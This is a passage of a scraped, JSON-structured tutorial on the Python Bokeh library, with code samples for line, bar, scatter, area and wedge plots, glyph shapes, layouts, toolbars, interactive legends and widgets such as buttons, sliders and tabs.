"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title=\"Bokeh Line Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the 1st line graphgraph.line(x, x, legend_label=\"Line 1\") # plotting the 2nd line graph with a# different colorgraph.line(y, x, legend_label=\"Line 2\", line_color=\"green\") graph.legend.title = \"Title of the legend\"graph.legend.location =\"top_left\"graph.legend.label_text_font_size = \"17pt\" # displaying the modelshow(graph)",
"e": 5999,
"s": 5440,
"text": null
},
{
"code": null,
"e": 6007,
"s": 5999,
"text": "Output:"
},
{
"code": null,
"e": 6232,
"s": 6007,
"text": "Glyphs in Bokeh terminology means the basic building blocks of the Bokeh plots such as lines, rectangles, squares, etc. Bokeh plots are created using the bokeh.plotting interface which uses a default set of tools and styles."
},
{
"code": null,
"e": 6400,
"s": 6232,
"text": "Line charts are used to represent the relation between two data X and Y on a different axis. A line plot can be created using the line() method of the plotting module."
},
{
"code": null,
"e": 6408,
"s": 6400,
"text": "Syntax:"
},
{
"code": null,
"e": 6425,
"s": 6408,
"text": "line(parameters)"
},
{
"code": null,
"e": 6434,
"s": 6425,
"text": "Example:"
},
{
"code": null,
"e": 6442,
"s": 6434,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Line Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the line graphgraph.line(x, y) # displaying the modelshow(graph)",
"e": 6735,
"s": 6442,
"text": null
},
{
"code": null,
"e": 6743,
"s": 6735,
"text": "Output:"
},
{
"code": null,
"e": 6821,
"s": 6743,
"text": "Refer to the below articles to get detailed information about the line plots."
},
{
"code": null,
"e": 6858,
"s": 6821,
"text": "Python Bokeh – Plotting a Line Graph"
},
{
"code": null,
"e": 6908,
"s": 6858,
"text": "Python Bokeh – Plotting Multiple Lines on a Graph"
},
{
"code": null,
"e": 7238,
"s": 6908,
"text": "Bar plot or Bar chart is a graph that represents the category of data with rectangular bars with lengths and heights that is proportional to the values which they represent. It can be of two types horizontal bars and vertical bars. Each can be created using the hbar() and vbar() functions of the plotting interface respectively."
},
{
"code": null,
"e": 7246,
"s": 7238,
"text": "Syntax:"
},
{
"code": null,
"e": 7263,
"s": 7246,
"text": "hbar(parameters)"
},
{
"code": null,
"e": 7280,
"s": 7263,
"text": "vbar(parameters)"
},
{
"code": null,
"e": 7317,
"s": 7280,
"text": "Example 1: Creating horizontal bars."
},
{
"code": null,
"e": 7325,
"s": 7317,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Bar Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotheight = 0.5 # plotting the bar graphgraph.hbar(x, right = y, height = height) # displaying the modelshow(graph)",
"e": 7687,
"s": 7325,
"text": null
},
{
"code": null,
"e": 7695,
"s": 7687,
"text": "Output:"
},
{
"code": null,
"e": 7733,
"s": 7695,
"text": "Example 2: Creating the vertical bars"
},
{
"code": null,
"e": 7741,
"s": 7733,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Bar Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotwidth = 0.5 # plotting the bar graphgraph.vbar(x, top = y, width = width) # displaying the modelshow(graph)",
"e": 8098,
"s": 7741,
"text": null
},
{
"code": null,
"e": 8106,
"s": 8098,
"text": "Output:"
},
{
"code": null,
"e": 8184,
"s": 8106,
"text": "Refer to the below articles to get detailed information about the bar charts."
},
{
"code": null,
"e": 8230,
"s": 8184,
"text": "Python Bokeh – Plotting Horizontal Bar Graphs"
},
{
"code": null,
"e": 8274,
"s": 8230,
"text": "Python Bokeh – Plotting Vertical Bar Graphs"
},
{
"code": null,
"e": 8614,
"s": 8274,
"text": "A scatter plot is a set of dotted points to represent individual pieces of data in the horizontal and vertical axis. A graph in which the values of two variables are plotted along X-axis and Y-axis, the pattern of the resulting points reveals a correlation between them. It can be plotted using the scatter() method of the plotting module."
},
{
"code": null,
"e": 8622,
"s": 8614,
"text": "Syntax:"
},
{
"code": null,
"e": 8642,
"s": 8622,
"text": "scatter(parameters)"
},
{
"code": null,
"e": 8651,
"s": 8642,
"text": "Example:"
},
{
"code": null,
"e": 8659,
"s": 8651,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, showfrom bokeh.palettes import magmaimport random # instantiating the figure objectgraph = figure(title = \"Bokeh Scatter Graph\") # points to be plottedx = [n for n in range(256)]y = [random.random() + 1 for n in range(256)] # plotting the graphgraph.scatter(x, y) # displaying the modelshow(graph)",
"e": 9034,
"s": 8659,
"text": null
},
{
"code": null,
"e": 9042,
"s": 9034,
"text": "Output:"
},
{
"code": null,
"e": 9123,
"s": 9042,
"text": "Refer to the below articles to get detailed information about the scatter plots."
},
{
"code": null,
"e": 9173,
"s": 9123,
"text": "Python Bokeh – Plotting a Scatter Plot on a Graph"
},
{
"code": null,
"e": 9315,
"s": 9173,
"text": "Patch Plot shades a region of area to show a group having same properties. It can be created using the patch() method of the plotting module."
},
{
"code": null,
"e": 9323,
"s": 9315,
"text": "Syntax:"
},
{
"code": null,
"e": 9341,
"s": 9323,
"text": "patch(parameters)"
},
{
"code": null,
"e": 9350,
"s": 9341,
"text": "Example:"
},
{
"code": null,
"e": 9358,
"s": 9350,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, showfrom bokeh.palettes import magmaimport random # instantiating the figure objectgraph = figure(title = \"Bokeh Patch Plo\") # points to be plottedx = [n for n in range(256)]y = [random.random() + 1 for n in range(256)] # plotting the graphgraph.patch(x, y) # displaying the modelshow(graph)",
"e": 9726,
"s": 9358,
"text": null
},
{
"code": null,
"e": 9734,
"s": 9726,
"text": "Output:"
},
{
"code": null,
"e": 9812,
"s": 9734,
"text": "Refer to the below articles to get detailed information about the Patch Plot."
},
{
"code": null,
"e": 9855,
"s": 9812,
"text": "Python Bokeh – Plotting Patches on a Graph"
},
{
"code": null,
"e": 10010,
"s": 9855,
"text": "Area plots are defined as the filled regions between two series that share a common areas. Bokeh Figure class has two methods which are – varea(), harea()"
},
{
"code": null,
"e": 10018,
"s": 10010,
"text": "Syntax:"
},
{
"code": null,
"e": 10045,
"s": 10018,
"text": "varea(x, y1, y2, **kwargs)"
},
{
"code": null,
"e": 10072,
"s": 10045,
"text": "harea(x1, x2, y, **kwargs)"
},
{
"code": null,
"e": 10111,
"s": 10072,
"text": "Example 1: Creating vertical area plot"
},
{
"code": null,
"e": 10118,
"s": 10111,
"text": "Python"
},
{
"code": "# Implementation of bokeh functionimport numpy as npfrom bokeh.plotting import figure, output_file, show x = [1, 2, 3, 4, 5]y1 = [2, 4, 5, 2, 4]y2 = [1, 2, 2, 3, 6] p = figure(plot_width=300, plot_height=300) # area plotp.varea(x=x, y1=y1, y2=y2,fill_color=\"green\") show(p)",
"e": 10396,
"s": 10118,
"text": null
},
{
"code": null,
"e": 10404,
"s": 10396,
"text": "Output:"
},
{
"code": null,
"e": 10445,
"s": 10404,
"text": "Example 2: Creating horizontal area plot"
},
{
"code": null,
"e": 10453,
"s": 10445,
"text": "Python3"
},
{
"code": "# Implementation of bokeh function import numpy as npfrom bokeh.plotting import figure, output_file, show y = [1, 2, 3, 4, 5]x1 = [2, 4, 5, 2, 4]x2 = [1, 2, 2, 3, 6] p = figure(plot_width=300, plot_height=300) # area plotp.harea(x1=x1, x2=x2, y=y,fill_color=\"green\") show(p)",
"e": 10736,
"s": 10453,
"text": null
},
{
"code": null,
"e": 10744,
"s": 10736,
"text": "Output:"
},
{
"code": null,
"e": 10822,
"s": 10744,
"text": "Refer to the below articles to get detailed information about the area charts"
},
{
"code": null,
"e": 10862,
"s": 10822,
"text": "Make an area plot in Python using Bokeh"
},
{
"code": null,
"e": 11316,
"s": 10862,
"text": "Bokeh Does not provide a direct method to plot the Pie Chart. It can be created using the wedge() method. In the wedge() function, the primary parameters are the x and y coordinates of the wedge, the radius, the start_angle and the end_angle of the wedge. In order to plot the wedges in such a way that they look like a pie chart, the x, y, and radius parameters of all the wedges will be the same. We will only adjust the start_angle and the end_angle."
},
{
"code": null,
"e": 11324,
"s": 11316,
"text": "Syntax:"
},
{
"code": null,
"e": 11342,
"s": 11324,
"text": "wedge(parameters)"
},
{
"code": null,
"e": 11352,
"s": 11342,
"text": "Example: "
},
{
"code": null,
"e": 11360,
"s": 11352,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Wedge Graph\") # the points to be plottedx = 0y = 0 # radius of the wedgeradius = 15 # start angle of the wedgestart_angle = 1 # end angle of the wedgeend_angle = 2 # plotting the graphgraph.wedge(x, y, radius = radius, start_angle = start_angle, end_angle = end_angle) # displaying the modelshow(graph)",
"e": 11840,
"s": 11360,
"text": null
},
{
"code": null,
"e": 11848,
"s": 11840,
"text": "Output:"
},
{
"code": null,
"e": 11926,
"s": 11848,
"text": "Refer to the below articles to get detailed information about the pie charts."
},
{
"code": null,
"e": 11968,
"s": 11926,
"text": "Python Bokeh – Plotting Wedges on a Graph"
},
{
"code": null,
"e": 12002,
"s": 11968,
"text": "Python Bokeh – Making a Pie Chart"
},
{
"code": null,
"e": 12160,
"s": 12002,
"text": "The Figure class in Bokeh allows us create vectorised glyphs of different shapes such as circle, rectangle, oval, polygon, etc. Let’s discuss them in detail."
},
{
"code": null,
"e": 12242,
"s": 12160,
"text": "Bokeh Figure class following methods to draw circle glyphs which are given below:"
},
{
"code": null,
"e": 12349,
"s": 12242,
"text": "circle() method is a used to add a circle glyph to the figure and needs x and y coordinates of its center."
},
{
"code": null,
"e": 12498,
"s": 12349,
"text": "circle_cross() method is a used to add a circle glyph with a ‘+’ cross through the center to the figure and needs x and y coordinates of its center."
},
{
"code": null,
"e": 12644,
"s": 12498,
"text": "circle_x() method is a used to add a circle glyph with a ‘X’ cross through the center. to the figure and needs x and y coordinates of its center."
},
{
"code": null,
"e": 12653,
"s": 12644,
"text": "Example:"
},
{
"code": null,
"e": 12661,
"s": 12653,
"text": "Python3"
},
{
"code": "import numpy as npfrom bokeh.plotting import figure, output_file, show # creating the figure objectplot = figure(plot_width = 300, plot_height = 300) plot.circle(x = [1, 2, 3], y = [3, 7, 5], size = 20) show(plot)",
"e": 12875,
"s": 12661,
"text": null
},
{
"code": null,
"e": 12883,
"s": 12875,
"text": "Output:"
},
{
"code": null,
"e": 12963,
"s": 12883,
"text": "Refer to the below articles to get detailed information about the circle glyphs"
},
{
"code": null,
"e": 13007,
"s": 12963,
"text": "Make an Circle Glyphs in Python using Bokeh"
},
{
"code": null,
"e": 13061,
"s": 13007,
"text": "oval() method can be used to plot ovals on the graph."
},
{
"code": null,
"e": 13069,
"s": 13061,
"text": "Syntax:"
},
{
"code": null,
"e": 13086,
"s": 13069,
"text": "oval(parameters)"
},
{
"code": null,
"e": 13095,
"s": 13086,
"text": "Example:"
},
{
"code": null,
"e": 13103,
"s": 13095,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Oval Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [i * 2 for i in x] # plotting the graphgraph.oval(x, y, height = 0.5, width = 1) # displaying the modelshow(graph)",
"e": 13446,
"s": 13103,
"text": null
},
{
"code": null,
"e": 13454,
"s": 13446,
"text": "Output:"
},
{
"code": null,
"e": 13532,
"s": 13454,
"text": "Refer o the below articles to get detailed information about the oval glyphs."
},
{
"code": null,
"e": 13573,
"s": 13532,
"text": "Python Bokeh – Plotting Ovals on a Graph"
},
{
"code": null,
"e": 13626,
"s": 13573,
"text": "Triangle can be created using the triangle() method."
},
{
"code": null,
"e": 13634,
"s": 13626,
"text": "Syntax:"
},
{
"code": null,
"e": 13655,
"s": 13634,
"text": "triangle(parameters)"
},
{
"code": null,
"e": 13664,
"s": 13655,
"text": "Example:"
},
{
"code": null,
"e": 13672,
"s": 13664,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Triangle Graph\") # the points to be plottedx = 1y = 1 # plotting the graphgraph.triangle(x, y, size = 150) # displaying the modelshow(graph)",
"e": 13961,
"s": 13672,
"text": null
},
{
"code": null,
"e": 13969,
"s": 13961,
"text": "Output:"
},
{
"code": null,
"e": 14045,
"s": 13969,
"text": "Refer to the below article to get detailed information about the triangles."
},
{
"code": null,
"e": 14090,
"s": 14045,
"text": "Python Bokeh – Plotting Triangles on a Graph"
},
{
"code": null,
"e": 14201,
"s": 14090,
"text": "Just like circles and ovals rectangle can also be plotted in Bokeh. It can be plotted using the rect() method."
},
{
"code": null,
"e": 14209,
"s": 14201,
"text": "Syntax:"
},
{
"code": null,
"e": 14226,
"s": 14209,
"text": "rect(parameters)"
},
{
"code": null,
"e": 14235,
"s": 14226,
"text": "Example:"
},
{
"code": null,
"e": 14243,
"s": 14235,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Rectangle Graph\", match_aspect = True) # the points to be plottedx = 0y = 0width = 10height = 5 # plotting the graphgraph.rect(x, y, width, height) # displaying the modelshow(graph)",
"e": 14577,
"s": 14243,
"text": null
},
{
"code": null,
"e": 14585,
"s": 14577,
"text": "Output:"
},
{
"code": null,
"e": 14754,
"s": 14585,
"text": "Bokeh can also be used to plot multiple polygons on a graph. Plotting multiple polygons on a graph can be done using the multi_polygons() method of the plotting module."
},
{
"code": null,
"e": 14762,
"s": 14754,
"text": "Syntax:"
},
{
"code": null,
"e": 14789,
"s": 14762,
"text": "multi_polygons(parameters)"
},
{
"code": null,
"e": 14798,
"s": 14789,
"text": "Example:"
},
{
"code": null,
"e": 14806,
"s": 14798,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Multiple Polygons Graph\") # the points to be plottedxs = [[[[1, 1, 3, 4]]]]ys = [[[[1, 3, 2 ,1]]]] # plotting the graphgraph.multi_polygons(xs, ys) # displaying the modelshow(graph)",
"e": 15144,
"s": 14806,
"text": null
},
{
"code": null,
"e": 15152,
"s": 15144,
"text": "Output:"
},
{
"code": null,
"e": 15234,
"s": 15152,
"text": "Refer to the below articles to get detailed information about the polygon glyphs."
},
{
"code": null,
"e": 15287,
"s": 15234,
"text": "Python Bokeh – Plotting Multiple Polygons on a Graph"
},
{
"code": null,
"e": 15389,
"s": 15287,
"text": "There are several layouts provided by the Bokeh in order to create Multiple Plots. These layouts are:"
},
{
"code": null,
"e": 15405,
"s": 15389,
"text": "Vertical Layout"
},
{
"code": null,
"e": 15423,
"s": 15405,
"text": "Horizontal Layout"
},
{
"code": null,
"e": 15435,
"s": 15423,
"text": "Grid Layout"
},
{
"code": null,
"e": 15539,
"s": 15435,
"text": "Vertical Layout set all the plots in the vertical fashion and can be created using the column() method."
},
{
"code": null,
"e": 15547,
"s": 15539,
"text": "Python3"
},
{
"code": "from bokeh.io import output_file, showfrom bokeh.layouts import columnfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure(width=200, plot_height=200)s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure(width=200, height=200)s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure(width=200, height=200)s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a VBoxp = column(s1, s2, s3) # show the resultsshow(p)",
"e": 16085,
"s": 15547,
"text": null
},
{
"code": null,
"e": 16093,
"s": 16085,
"text": "Output:"
},
{
"code": null,
"e": 16198,
"s": 16093,
"text": "Horizontal Layout set all the plots in the horizontal fashion. It can be created using the row() method."
},
{
"code": null,
"e": 16207,
"s": 16198,
"text": "Example:"
},
{
"code": null,
"e": 16215,
"s": 16207,
"text": "Python3"
},
{
"code": "from bokeh.io import output_file, showfrom bokeh.layouts import rowfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure(width=200, plot_height=200)s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure(width=200, height=200)s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure(width=200, height=200)s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a VBoxp = row(s1, s2, s3) # show the resultsshow(p)",
"e": 16747,
"s": 16215,
"text": null
},
{
"code": null,
"e": 16755,
"s": 16747,
"text": "Output:"
},
{
"code": null,
"e": 16888,
"s": 16755,
"text": "gridplot() method can be used to arrange all the plots in the grid fashion. we can also pass None to leave a space empty for a plot."
},
{
"code": null,
"e": 16897,
"s": 16888,
"text": "Example:"
},
{
"code": null,
"e": 16905,
"s": 16897,
"text": "Python3"
},
{
"code": "from bokeh.io import output_file, showfrom bokeh.layouts import gridplotfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure()s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure()s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure()s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a gridp = gridplot([[s1, None], [s2, s3]], plot_width=200, plot_height=200) # show the resultsshow(p)",
"e": 17424,
"s": 16905,
"text": null
},
{
"code": null,
"e": 17432,
"s": 17424,
"text": "Output:"
},
{
"code": null,
"e": 17617,
"s": 17432,
"text": "One of the key feature of Bokeh which differentiate it from other visualizing libraries is adding interaction to the Plot. Let’s see various interactions that can be added to the plot."
},
{
"code": null,
"e": 17818,
"s": 17617,
"text": "In all the above graphs you must have noticed a toolbar that appears mostly at the right of the plot. Bokeh provides us the methods to handle these tools. Tools can be classified into four categories."
},
{
"code": null,
"e": 17964,
"s": 17818,
"text": "Gestures: These tools handle the gestures such as pan movement. There are three types of gestures:Pan/Drag ToolsClick/Tap ToolsScroll/Pinch Tools"
},
{
"code": null,
"e": 17979,
"s": 17964,
"text": "Pan/Drag Tools"
},
{
"code": null,
"e": 17995,
"s": 17979,
"text": "Click/Tap Tools"
},
{
"code": null,
"e": 18014,
"s": 17995,
"text": "Scroll/Pinch Tools"
},
{
"code": null,
"e": 18068,
"s": 18014,
"text": "Actions: These tools handle when a button is pressed."
},
{
"code": null,
"e": 18153,
"s": 18068,
"text": "Inspectors: These tools report information or annotate the graph such as HoverTool."
},
{
"code": null,
"e": 18240,
"s": 18153,
"text": "Edit Tools: These are multi gestures tools that can add, delete glyphs from the graph."
},
{
"code": null,
"e": 18435,
"s": 18240,
"text": "We can specify the position of the toolbar according to our own needs. It can be done by passing the toolbar_location parameter to the figure() method. The possible value to this parameter is – "
},
{
"code": null,
"e": 18443,
"s": 18435,
"text": "“above”"
},
{
"code": null,
"e": 18451,
"s": 18443,
"text": "“below”"
},
{
"code": null,
"e": 18458,
"s": 18451,
"text": "“left”"
},
{
"code": null,
"e": 18466,
"s": 18458,
"text": "“right”"
},
{
"code": null,
"e": 18476,
"s": 18466,
"text": "Example: "
},
{
"code": null,
"e": 18484,
"s": 18476,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh ToolBar\", toolbar_location=\"below\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotwidth = 0.5 # plotting the scatter graphgraph.scatter(x, y) # displaying the modelshow(graph)",
"e": 18851,
"s": 18484,
"text": null
},
{
"code": null,
"e": 18859,
"s": 18851,
"text": "Output:"
},
{
"code": null,
"e": 19104,
"s": 18859,
"text": "In the section annotations and legends we have seen the list of all the parameters of the legends, however, we have not discussed the click_policy parameter yet. This property makes the legend interactive. There are two types of interactivity –"
},
{
"code": null,
"e": 19130,
"s": 19104,
"text": "Hiding: Hides the Glyphs."
},
{
"code": null,
"e": 19273,
"s": 19130,
"text": "Muting: Hiding the glyph makes it vanish completely, on the other hand, muting the glyph just de-emphasizes the glyph based on the parameters."
},
{
"code": null,
"e": 19302,
"s": 19273,
"text": "Example 1: Hiding the legend"
},
{
"code": null,
"e": 19310,
"s": 19302,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # file to save the modeloutput_file(\"gfg.html\") # instantiating the figure objectgraph = figure(title = \"Bokeh Hiding Glyphs\") # plotting the graphgraph.vbar(x = 1, top = 5, width = 1, color = \"violet\", legend_label = \"Violet Bar\")graph.vbar(x = 2, top = 5, width = 1, color = \"green\", legend_label = \"Green Bar\")graph.vbar(x = 3, top = 5, width = 1, color = \"yellow\", legend_label = \"Yellow Bar\")graph.vbar(x = 4, top = 5, width = 1, color = \"red\", legend_label = \"Red Bar\") # enable hiding of the glyphsgraph.legend.click_policy = \"hide\" # displaying the modelshow(graph)",
"e": 20024,
"s": 19310,
"text": null
},
{
"code": null,
"e": 20032,
"s": 20024,
"text": "Output:"
},
{
"code": null,
"e": 20061,
"s": 20032,
"text": "Example 2: Muting the legend"
},
{
"code": null,
"e": 20069,
"s": 20061,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # file to save the modeloutput_file(\"gfg.html\") # instantiating the figure objectgraph = figure(title = \"Bokeh Hiding Glyphs\") # plotting the graphgraph.vbar(x = 1, top = 5, width = 1, color = \"violet\", legend_label = \"Violet Bar\", muted_alpha=0.2)graph.vbar(x = 2, top = 5, width = 1, color = \"green\", legend_label = \"Green Bar\", muted_alpha=0.2)graph.vbar(x = 3, top = 5, width = 1, color = \"yellow\", legend_label = \"Yellow Bar\", muted_alpha=0.2)graph.vbar(x = 4, top = 5, width = 1, color = \"red\", legend_label = \"Red Bar\", muted_alpha=0.2) # enable hiding of the glyphsgraph.legend.click_policy = \"mute\" # displaying the modelshow(graph)",
"e": 20879,
"s": 20069,
"text": null
},
{
"code": null,
"e": 20887,
"s": 20879,
"text": "Output:"
},
{
"code": null,
"e": 21159,
"s": 20887,
"text": "Bokeh provides GUI features similar to HTML forms like buttons, slider, checkbox, etc. These provide an interactive interface to the plot that allows to change the parameters of the plot, modifying plot data, etc. Let’s see how to use and add some commonly used widgets. "
},
{
"code": null,
"e": 21312,
"s": 21159,
"text": "Buttons: This widget adds a simple button widget to the plot. We have to pass a custom JavaScript function to the CustomJS() method of the models class."
},
{
"code": null,
"e": 21320,
"s": 21312,
"text": "Syntax:"
},
{
"code": null,
"e": 21350,
"s": 21320,
"text": "Button(label, icon, callback)"
},
{
"code": null,
"e": 21359,
"s": 21350,
"text": "Example:"
},
{
"code": null,
"e": 21367,
"s": 21359,
"text": "Python3"
},
{
"code": "from bokeh.io import showfrom bokeh.models import Button, CustomJS button = Button(label=\"GFG\")button.js_on_click(CustomJS( code=\"console.log('button: click!', this.toString())\")) show(button)",
"e": 21561,
"s": 21367,
"text": null
},
{
"code": null,
"e": 21570,
"s": 21561,
"text": "Output: "
},
{
"code": null,
"e": 21738,
"s": 21570,
"text": "CheckboxGroup: Adds a standard check box to the plot. Similarly to buttons we have to pass the custom JavaScript function to the CustomJS() method of the models class."
},
{
"code": null,
"e": 21747,
"s": 21738,
"text": "Example:"
},
{
"code": null,
"e": 21755,
"s": 21747,
"text": "Python3"
},
{
"code": "from bokeh.io import showfrom bokeh.models import CheckboxGroup, CustomJS L = [\"First\", \"Second\", \"Third\"] # the active parameter sets checks the selected value# by defaultcheckbox_group = CheckboxGroup(labels=L, active=[0, 2]) checkbox_group.js_on_click(CustomJS(code=\"\"\" console.log('checkbox_group: active=' + this.active, this.toString())\"\"\")) show(checkbox_group)",
"e": 22127,
"s": 21755,
"text": null
},
{
"code": null,
"e": 22135,
"s": 22127,
"text": "Output:"
},
{
"code": null,
"e": 22216,
"s": 22135,
"text": "RadioGroup: Adds a simple radio button and accepts a custom JavaScript function."
},
{
"code": null,
"e": 22224,
"s": 22216,
"text": "Syntax:"
},
{
"code": null,
"e": 22251,
"s": 22224,
"text": "RadioGroup(labels, active)"
},
{
"code": null,
"e": 22260,
"s": 22251,
"text": "Example:"
},
{
"code": null,
"e": 22268,
"s": 22260,
"text": "Python3"
},
{
"code": "from bokeh.io import showfrom bokeh.models import RadioGroup, CustomJS L = [\"First\", \"Second\", \"Third\"] # the active parameter sets checks the selected value# by defaultradio_group = RadioGroup(labels=L, active=1) radio_group.js_on_click(CustomJS(code=\"\"\" console.log('radio_group: active=' + this.active, this.toString())\"\"\")) show(radio_group)",
"e": 22617,
"s": 22268,
"text": null
},
{
"code": null,
"e": 22625,
"s": 22617,
"text": "Output:"
},
{
"code": null,
"e": 22705,
"s": 22625,
"text": "Sliders: Adds a slider to the plot. It also needs a custom JavaScript function."
},
{
"code": null,
"e": 22713,
"s": 22705,
"text": "Syntax:"
},
{
"code": null,
"e": 22745,
"s": 22713,
"text": "Slider(start, end, step, value)"
},
{
"code": null,
"e": 22754,
"s": 22745,
"text": "Example:"
},
{
"code": null,
"e": 22762,
"s": 22754,
"text": "Python3"
},
{
"code": "from bokeh.io import showfrom bokeh.models import CustomJS, Slider slider = Slider(start=1, end=20, value=1, step=2, title=\"Slider\") slider.js_on_change(\"value\", CustomJS(code=\"\"\" console.log('slider: value=' + this.value, this.toString())\"\"\")) show(slider)",
"e": 23023,
"s": 22762,
"text": null
},
{
"code": null,
"e": 23031,
"s": 23023,
"text": "Output:"
},
{
"code": null,
"e": 23153,
"s": 23031,
"text": "DropDown: Adds a dropdown to the plot and like every other widget it also needs a custom JavaScript function as callback."
},
{
"code": null,
"e": 23162,
"s": 23153,
"text": "Example:"
},
{
"code": null,
"e": 23170,
"s": 23162,
"text": "Python3"
},
{
"code": "from bokeh.io import showfrom bokeh.models import CustomJS, Dropdown menu = [(\"First\", \"First\"), (\"Second\", \"Second\"), (\"Third\", \"Third\")] dropdown = Dropdown(label=\"Dropdown Menu\", button_type=\"success\", menu=menu) dropdown.js_on_event(\"menu_item_click\", CustomJS( code=\"console.log('dropdown: ' + this.item, this.toString())\")) show(dropdown)",
"e": 23518,
"s": 23170,
"text": null
},
{
"code": null,
"e": 23526,
"s": 23518,
"text": "Output:"
},
{
"code": null,
"e": 23595,
"s": 23526,
"text": "Tab Widget: Tab Widget adds tabs and each tab show a different plot."
},
{
"code": null,
"e": 23604,
"s": 23595,
"text": "Example:"
},
{
"code": null,
"e": 23612,
"s": 23604,
"text": "Python3"
},
{
"code": "from bokeh.plotting import figure, output_file, showfrom bokeh.models import Panel, Tabsimport numpy as npimport math fig1 = figure(plot_width=300, plot_height=300) x = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] fig1.line(x, y, line_color='green')tab1 = Panel(child=fig1, title=\"Tab 1\") fig2 = figure(plot_width=300, plot_height=300) fig2.line(y, x, line_color='red')tab2 = Panel(child=fig2, title=\"Tab 2\") all_tabs = Tabs(tabs=[tab1, tab2]) show(all_tabs)",
"e": 24062,
"s": 23612,
"text": null
},
{
"code": null,
"e": 24070,
"s": 24062,
"text": "Output:"
},
{
"code": null,
"e": 24084,
"s": 24070,
"text": "Diamond Glyph"
},
{
"code": null,
"e": 24095,
"s": 24084,
"text": "Dash Glyph"
},
{
"code": null,
"e": 24107,
"s": 24095,
"text": "Cross Glyph"
},
{
"code": null,
"e": 24121,
"s": 24107,
"text": "Diamond Glyph"
},
{
"code": null,
"e": 24141,
"s": 24121,
"text": "Diamond Cross Glyph"
},
{
"code": null,
"e": 24159,
"s": 24141,
"text": "Diamond Dot Glyph"
},
{
"code": null,
"e": 24169,
"s": 24159,
"text": "Ray Glyph"
},
{
"code": null,
"e": 24189,
"s": 24169,
"text": "Triangle Pins Glyph"
},
{
"code": null,
"e": 24214,
"s": 24189,
"text": "Triangle with Dots Glyph"
},
{
"code": null,
"e": 24238,
"s": 24214,
"text": "Inverted Triangle Glyph"
},
{
"code": null,
"e": 24249,
"s": 24238,
"text": "Plus Glyph"
},
{
"code": null,
"e": 24269,
"s": 24249,
"text": "Quadrilateral Glyph"
},
{
"code": null,
"e": 24277,
"s": 24269,
"text": "Y Glyph"
},
{
"code": null,
"e": 24285,
"s": 24277,
"text": "X Glyph"
},
{
"code": null,
"e": 24296,
"s": 24285,
"text": "Oval Glyph"
},
{
"code": null,
"e": 24310,
"s": 24296,
"text": "Hexagon Glyph"
},
{
"code": null,
"e": 24330,
"s": 24310,
"text": "Hexagon Tiles Glyph"
},
{
"code": null,
"e": 24349,
"s": 24330,
"text": "Hexagon Dots Glyph"
},
{
"code": null,
"e": 24373,
"s": 24349,
"text": "Square with Cross Glyph"
},
{
"code": null,
"e": 24396,
"s": 24373,
"text": "Square with Dots Glyph"
},
{
"code": null,
"e": 24418,
"s": 24396,
"text": "Square with X’s Glyph"
},
{
"code": null,
"e": 24432,
"s": 24418,
"text": "Ellipse glyph"
},
{
"code": null,
"e": 24446,
"s": 24432,
"text": "Annulus Glyph"
},
{
"code": null,
"e": 24459,
"s": 24446,
"text": "Bezier Glyph"
},
{
"code": null,
"e": 24474,
"s": 24459,
"text": "Asterisk Glyph"
},
{
"code": null,
"e": 24493,
"s": 24474,
"text": "AnnularWedge Glyph"
},
{
"code": null,
"e": 24504,
"s": 24493,
"text": "Step Glyph"
},
{
"code": null,
"e": 24548,
